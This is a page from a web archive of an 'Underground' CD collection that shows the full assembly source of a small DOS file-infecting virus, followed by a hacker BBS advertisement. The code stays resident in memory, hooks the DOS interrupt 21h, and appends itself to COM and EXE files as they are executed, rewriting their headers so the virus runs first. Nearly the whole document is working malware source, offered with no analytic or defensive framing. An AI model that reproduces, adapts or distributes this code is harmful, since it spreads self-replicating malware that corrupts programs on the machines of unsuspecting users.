home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / smal.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.8 KB  |  231 lines

  1. virus segment public 'code'
  2.  
  3.     assume    cs:virus,ds:virus,es:virus
  4.  
  5.     org    0
  6.  
  7.  
  8.  
  9. VirusSize    equ    VirusEnd-$
  10.  
  11.  
  12.  
  13. Com:    call    Begin
  14.  
  15.     call    Label2
  16.  
  17.  
  18.  
  19. PartPage    equ    this word+02h
  20.  
  21. PageCount    equ    this word+04h
  22.  
  23. HdrSize        equ    this word+08h
  24.  
  25. MinMem        equ    this word+0ah
  26.  
  27. MaxMem        equ    this word+0ch
  28.  
  29. ExeSS        equ    this word+0eh
  30.  
  31. ExeSP        equ    this word+10h
  32.  
  33. ExeSignature    equ    this word+12h
  34.  
  35. ExeStart    equ    this dword+14h
  36.  
  37. ExeIP        equ    this word+14h
  38.  
  39. ExeCS        equ    this word+16h
  40.  
  41.  
  42.  
  43. SavedCode:
  44.  
  45.     mov    ax,4c00h
  46.  
  47.     int    21h
  48.  
  49.  
  50.  
  51.     org    SavedCode+18h
  52.  
  53.  
  54.  
  55. Label2:    pop    si
  56.  
  57.     mov    di,100h
  58.  
  59.     push    di
  60.  
  61.     movsw
  62.  
  63.     movsw
  64.  
  65.     movsb
  66.  
  67.     ret
  68.  
  69.  
  70.  
  71. Exe:    call    Begin
  72.  
  73.     mov    dx,ds
  74.  
  75.     add    dx,10h
  76.  
  77.     add    cs:ExeCS,dx
  78.  
  79.     add    dx,cs:ExeSS
  80.  
  81.     mov    ss,dx
  82.  
  83.     mov    sp,cs:ExeSP
  84.  
  85.     jmp    cs:ExeStart
  86.  
  87.  
  88.  
  89. Begin:    push    ds
  90.  
  91.     push    es
  92.  
  93.     push    ax
  94.  
  95.     xor    ax,ax
  96.  
  97.     mov    ds,ax
  98.  
  99.     mov    ds,ds:[46ah]
  100.  
  101.     cmp    Signature,0ACDCh
  102.  
  103.     je    Exit
  104.  
  105.     mov    ah,4ah
  106.  
  107.     mov    bx,-1
  108.  
  109.     int    21h
  110.  
  111.     sub    bx,(VirusSize+1fh)/10h+1000h
  112.  
  113.     jb    Exit
  114.  
  115.     add    bh,10h
  116.  
  117.     mov    ah,4ah
  118.  
  119.     int    21h
  120.  
  121.     mov    ah,48h
  122.  
  123.     mov    bx,(VirusSize+0fh)/10h
  124.  
  125.     int    21h
  126.  
  127.     jb    Exit
  128.  
  129.     dec    ax
  130.  
  131.     mov    es,ax
  132.  
  133.     inc    ax
  134.  
  135.     mov    es:[1],ax
  136.  
  137.     mov    es,ax
  138.  
  139.     push    cs
  140.  
  141.     pop    ds
  142.  
  143.     call    Label1
  144.  
  145. Label1:    pop    si
  146.  
  147.     sub    si,offset Label1
  148.  
  149.     xor    di,di
  150.  
  151.     push    di
  152.  
  153.     mov    cx,VirusSize
  154.  
  155.     rep    movsb
  156.  
  157.     pop    ds
  158.  
  159.     mov    ax,ds:[84h]
  160.  
  161.     mov    word ptr es:OldInt21[0],ax
  162.  
  163.     mov    ax,ds:[86h]
  164.  
  165.     mov    word ptr es:OldInt21[2],ax
  166.  
  167.     mov    byte ptr ds:[467h],0eah
  168.  
  169.     mov    word ptr ds:[468h],offset NewInt21
  170.  
  171.     mov    ds:[46ah],es
  172.  
  173.     mov    word ptr ds:[84h],7
  174.  
  175.     mov    word ptr ds:[86h],46h
  176.  
  177. Exit:    pop    ax
  178.  
  179.     pop    ds
  180.  
  181.     pop    es
  182.  
  183.     ret
  184.  
  185.  
  186.  
  187. Header        db    0e9h
  188.  
  189.         dw    0
  190.  
  191. Signature    dw    0ACDCh
  192.  
  193.  
  194.  
  195. NewInt21:
  196.  
  197.     cmp    ah,4bh
  198.  
  199.     je    Exec
  200.  
  201.     jmp    short EOI
  202.  
  203. Exec:    push    ax
  204.  
  205.     push    bx
  206.  
  207.     push    cx
  208.  
  209.     push    dx
  210.  
  211.     push    ds
  212.  
  213.     mov    ax,3d02h
  214.  
  215.     call    Interrupt
  216.  
  217.         jc      short Error
  218.  
  219.     push    cs
  220.  
  221.     pop    ds
  222.  
  223.     mov    bx,ax
  224.  
  225.     mov    ah,3fh
  226.  
  227.     mov    cx,18h
  228.  
  229.     mov    dx,offset SavedCode
  230.  
  231.     call    DOS
  232.  
  233.     cmp    word ptr cs:SavedCode,5a4dh
  234.  
  235.     je    ExeFile
  236.  
  237. ComFile:cmp    word ptr cs:SavedCode[3],0ACDCh
  238.  
  239.         je      short Close
  240.  
  241.     mov    al,02h
  242.  
  243.     call    Seek
  244.  
  245.     or    dx,dx
  246.  
  247. ;       jmp     short Close
  248.  
  249.     cmp    ah,0f6h
  250.  
  251.         je      short Close
  252.  
  253.     sub    ax,5
  254.  
  255. ;       jmp     short Close
  256.  
  257.     inc    ax
  258.  
  259.     inc    ax
  260.  
  261.     mov    word ptr ds:Header[1],ax
  262.  
  263.     mov    ah,40h
  264.  
  265.     mov    cx,VirusSize
  266.  
  267.     xor    dx,dx
  268.  
  269.     call    DOS
  270.  
  271.     mov    al,00h
  272.  
  273.     call    Seek
  274.  
  275.     mov    ah,40h
  276.  
  277.     mov    cx,5
  278.  
  279.     mov    dx,offset Header
  280.  
  281.     call    Interrupt
  282.  
  283. Close:    mov    ah,3eh
  284.  
  285.     call    Interrupt
  286.  
  287. Error:    pop    ds
  288.  
  289.     pop    dx
  290.  
  291.     pop    cx
  292.  
  293.     pop    bx
  294.  
  295.     pop    ax
  296.  
  297.  
  298.  
  299. EOI:        db    0eah        ; jmp    0:0
  300.  
  301. OldInt21    dd    026b1465h
  302.  
  303.  
  304.  
  305. ExeFile:cmp    ExeSignature,0ACDCh
  306.  
  307.         je      short Close
  308.  
  309.     mov    al,02h
  310.  
  311.     call    Seek
  312.  
  313.     add    ax,0fh
  314.  
  315.     adc    dx,0
  316.  
  317.     and    al,0f0h
  318.  
  319.     xchg    ax,dx
  320.  
  321.     mov    cx,ax
  322.  
  323.     mov    ax,4200h
  324.  
  325.     call    DOS
  326.  
  327.     mov    cx,10h
  328.  
  329.     div    cx
  330.  
  331.     or    dx,dx
  332.  
  333.     jne    Close
  334.  
  335.     mov    dx,ax
  336.  
  337.     sub    dx,HdrSize
  338.  
  339.     push    dx
  340.  
  341.     mov    cx,10h
  342.  
  343.     mul    cx
  344.  
  345.     add    ax,VirusSize
  346.  
  347.     adc    dx,0
  348.  
  349.     mov    cx,200h
  350.  
  351.     div    cx
  352.  
  353.     inc    ax
  354.  
  355.     push    ax
  356.  
  357.     push    dx
  358.  
  359.     mov    ah,40h
  360.  
  361.     mov    cx,VirusSize
  362.  
  363.     xor    dx,dx
  364.  
  365.     call    Interrupt
  366.  
  367.     pop    PartPage
  368.  
  369.     pop    PageCount
  370.  
  371.     pop    ax
  372.  
  373.     jc    Close
  374.  
  375.     mov    ExeCS,ax
  376.  
  377.     mov    ExeIP,offset Exe
  378.  
  379.     add    ax,(VirusSize+0fh)/10h
  380.  
  381.     mov    ExeSS,ax
  382.  
  383.     mov    ExeSP,200h
  384.  
  385.     cmp    MinMem,20h
  386.  
  387.     jae    Mem1
  388.  
  389.     mov    MinMem,20h
  390.  
  391. Mem1:    cmp    MaxMem,20h
  392.  
  393.     jae    Mem2
  394.  
  395.     mov    MaxMem,20h
  396.  
  397. Mem2:    mov    al,00
  398.  
  399.     call    Seek
  400.  
  401.     mov    ah,40h
  402.  
  403.     mov    cx,18h
  404.  
  405.     mov    dx,offset SavedCode
  406.  
  407.     call    Interrupt
  408.  
  409.     jmp    Close
  410.  
  411.  
  412.  
  413. Seek:    mov    ah,42h
  414.  
  415.     xor    cx,cx
  416.  
  417.     xor    dx,dx
  418.  
  419.  
  420.  
  421. DOS:    call    Interrupt
  422.  
  423.     jnc    Ok
  424.  
  425.     pop    ax
  426.  
  427.     jmp    Close
  428.  
  429.  
  430.  
  431. Interrupt:
  432.  
  433.     pushf
  434.  
  435.     call    cs:OldInt21
  436.  
  437. Ok:    ret
  438.  
  439.  
  440.  
  441. VirusEnd    equ    $
  442.  
  443.  
  444.  
  445. virus ends
  446.  
  447.  
  448.  
  449. end
  450.  
  451.  
  452.  
  453. ;  ─────────────────────────────────────────────────────────────────────────
  454.  
  455. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  456.  
  457. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  458.  
  459. ;  ─────────────────────────────────────────────────────────────────────────
  460.  
  461.